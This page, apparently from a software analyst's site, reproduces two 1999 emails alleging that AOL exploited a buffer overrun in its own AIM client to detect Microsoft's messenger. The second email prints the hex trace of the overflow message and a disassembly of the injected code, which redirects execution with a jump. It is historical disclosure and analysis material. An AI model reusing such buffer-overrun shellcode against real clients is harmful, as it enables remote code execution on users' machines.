Geoff Chappell - Software Analyst
There follows the text of two messages sent by e-mail from Phil Bucking to Richard M. Smith. The messages are reproduced here for reference and fairness in a critical review of the correspondence’s subject, namely that America Online (AOL) exploits a bug in its own software.
Return-Path: <philbucking@yahoo.com> Received: from web1305.mail.yahoo.com ([128.11.23.155]) by sugar.pharlap.com (Post.Office MTA v3.5.2 release 221 ID# 0-56365U200L2S100V35) with SMTP id com for <rms@pharlap.com>; Wed, 11 Aug 1999 14:31:41 -0400 Message-ID: <19990811183057.3618.rocketmail@web1305.mail.yahoo.com> Received: from [131.107.3.78] by web1305.mail.yahoo.com; Wed, 11 Aug 1999 11:30:57 PDT Date: Wed, 11 Aug 1999 11:30:57 -0700 (PDT) From: Phil Bucking <philbucking@yahoo.com> Subject: AOL exploiting buffer overrun bug in their own software! To: rms@pharlap.com MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii
Mr. Smith,
I am writing you because I have discovered something that I think you might find interesting because you are an Internet security expert with experience in this area. I have also tried to contact AOL but received no response.
I am a developer who has been working on a revolutionary new instant messaging client that should be released later this year. Because of that, I have followed with interest the battle between AOL and Microsoft and have been trying to understand exactly what AOL is doing to block MS and how MS is getting around the blocks, etc. Up until very recently, it’s been pretty standard stuff, but now I fear AOL has gone too far.
It appears that the AIM client has a buffer overrun bug. By itself this might not be the end of the world, as MS surely has had its share. But AOL is now *exploiting their own buffer overrun bug* to help in its efforts to block MS Instant Messenger. What I have discovered is that AOL is spamming clients connected to the AIM service, trying to overrun the buffer and execute code on the client that returns a value to the AIM servers. This is how they can differentiate between AIM and MS Instant Messenger. Since MS Instant Messenger doesn’t have the bug, their rogue code never gets executed, the server never gets a return value, and they disconnect the client. This is easily verifiable if you want to look into it yourself, and is certainly something that could be exploited for other purposes. Why couldn't AOL send code down that sniffed the users machine for personal info, software they are running, etc.? Obviously this gets scary very quickly.
I think you would agree that this is a heinous and risky action. I am perfectly fine with AOL and MS fighting it out with standard software practices, but putting user security at risk is unacceptable. It is inconceivable that a company would even consider doing this. The amazing thing is that *AOL’s own users are more at risk than MS users*, since the code they send down could potentially do anything, but it only runs in AOL clients, not MS Instant Messenger. I think that they need to be exposed on this and I am sure that there are members of the press who would be very interested. Since you have significant credibility with the press I hope that you can use this information to help inform people that behind AOL’s friendly exterior they are nefariously compromising peoples’ security.
Sincerely, Phil Bucking Founder, Bucking Consulting philbucking@yahoo.com _________________________________________________________ Do You Yahoo!? Get your free @yahoo.com address at http://mail.yahoo.com
From: Phil Bucking <philbucking@yahoo.com> To: Richard M. Smith <smiths@tiac.net> Sent: Wednesday, August 11, 1999 5:32 PM Subject: Re: AOL exploiting buffer overrun bug in their own software!
Richard,
Thanks for getting back to me so quickly. Here is the trace, with some comments inline:
00000040 2A 02 77 9C 01 28 00 01 ........*.w..(.. 00000050 00 13 00 00 80 0E A6 1B 00 FF 00 0B 01 18 83 C4 ................ 00000060 10 4F 8D 94 24 E4 FE FF FF 8B EC 03 AA F8 00 00 .O..$........... 00000070 00 90 90 90 90 8B 82 F0 00 00 00 8B 00 89 82 4E ...............N 00000080 00 00 00 8B 4D 04 03 8A F4 00 00 00 8D 82 42 00 ....M.........B. 00000090 00 00 89 45 10 B8 10 00 00 00 89 45 0C C9 FF E1 ...E.......E.... 000000A0 00 01 00 20 00 00 00 00 00 00 00 04 00 00 00 00 ................ 000000B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000100 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000110 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 10 ................ 00000150 08 11 29 EC FF FF 44 00 00 00 00 00 00 00 FF 00 ..)...D......... 00000160 00 00 08 01 00 00 00 00 00 00 90 47 40 00 F8 E9 ...........G@... 00000170 EA FE FF FF 00 00
A brief explanation of the code:
2A 02 77 9C 01 28 is the message header, signifying a normal AOL protocol message. 00 01 00 13 is the message type. Normally this message is much shorter, like this:
2A 02 77 9D 00 22 00 01 00 13 ......*.w..".... 00 00 80 0E A6 1C 00 04 00 0B 00 12 68 74 74 70 ............http 3A 2F 2F 77 77 77 2E 61 6F 6C 2E 63 6F 6D ://www.aol.com
00 00 80 0E A6 1B is some sort of cookie sequence. 00 FF 00 0B is I think the message subtype. Normally this is 00 04 00 0B, as in the trace immediately above. 01 18 designates the number of bytes remaining in this protocol message exclusive.
What follows in the remaining bytes of the message is a whole bunch of what appears to be garbage. This translates to valid (and coherent) assembler, however, and I verified that at least part of it is being executed by AIM by changing some of it and seeing that the execution of AIM changed in a corresponding fashion.
Here is the assembler code itself when examined, as extracted from immediately after the "01 18" sequence in the protocol message.
77E720C1 83 C4 10 add esp,10h 77E720C4 4F dec edi 77E720C5 8D 94 24 E4 FE FF FF lea edx,[esp-11Ch] 77E720CC 8B EC mov ebp,esp 77E720CE 03 AA F8 00 00 00 add ebp,dword ptr [edx+0F8h] 77E720D4 90 nop 77E720D5 90 nop 77E720D6 90 nop 77E720D7 90 nop 77E720D8 8B 82 F0 00 00 00 mov eax,dword ptr [edx+0F0h] 77E720DE 8B 00 mov eax,dword ptr [eax] 77E720E0 89 82 4E 00 00 00 mov dword ptr [edx+4Eh],eax 77E720E6 8B 4D 04 mov ecx,dword ptr [ebp+4] 77E720E9 03 8A F4 00 00 00 add ecx,dword ptr [edx+0F4h] 77E720EF 8D 82 42 00 00 00 lea eax,[edx+42h] 77E720F5 89 45 10 mov dword ptr [ebp+10h],eax 77E720F8 B8 10 00 00 00 mov eax,10h 77E720FD 89 45 0C mov dword ptr [ebp+0Ch],eax 77E72100 C9 leave 77E72101 FF E1 jmp ecx 77E72103 00 01 add byte ptr [ecx],al 77E72105 00 20 add byte ptr [eax],ah 77E72107 00 00 add byte ptr [eax],al 77E72109 00 00 add byte ptr [eax],al 77E7210B 00 00 add byte ptr [eax],al 77E7210D 00 00 add byte ptr [eax],al 77E7210F 00 04 00 add byte ptr [eax+eax],al 77E72112 00 00 add byte ptr [eax],al 77E72114 00 00 add byte ptr [eax],al 77E72116 00 00 add byte ptr [eax],al 77E72118 00 00 add byte ptr [eax],al 77E7211A 00 00 add byte ptr [eax],al 77E7211C 00 00 add byte ptr [eax],al 77E7211E 00 00 add byte ptr [eax],al 77E72120 00 00 add byte ptr [eax],al 77E72122 00 00 add byte ptr [eax],al 77E72124 00 00 add byte ptr [eax],al <etc etc, a bunch more 00's> 77E72126 00 00 add byte ptr [eax],al 77E72128 00 00 add byte ptr [eax],al 77E7212A 00 00 add byte ptr [eax],al 77E7212C 00 00 add byte ptr [eax],al 77E7212E 19 10 sbb dword ptr [eax],edx 77E72130 08 11 or byte ptr [ecx],dl 77E72132 29 EC sub esp,ebp 77E72134 FF ??? 77E72135 FF 44 00 00 inc dword ptr [eax+eax] 77E72139 00 00 add byte ptr [eax],al 77E7213B 00 00 add byte ptr [eax],al 77E7213D 00 FF add bh,bh 77E7213F 00 00 add byte ptr [eax],al 77E72141 00 08 add byte ptr [eax],cl 77E72143 01 00 add dword ptr [eax],eax 77E72145 00 00 add byte ptr [eax],al 77E72147 00 00 add byte ptr [eax],al 77E72149 90 nop 77E7214A 47 inc edi 77E7214B 40 inc eax 77E7214C 00 F8 add al,bh 77E7214E E9 EA FE FF FF jmp 77E7203D 77E72153 00 00 add byte ptr [eax],al
The effect of this code is to cause AIM to send back the following protocol message:
00000030 2A 02 56 36 00 10 00 01 00 20 *.V6...... 00000040 00 00 00 00 00 00 00 04 8B 44 24 04 .........D$.
Note that the sequence 00 10 00 01 00 20 00 00 00 00 00 00 00 04 is precisely the same as the sequence received in the message AIM sends to the client (at the top of the mail).
Hope this helps
Thanks, Phil
_________________________________________________________ Do You Yahoo!? Get your free @yahoo.com address at http://mail.yahoo.com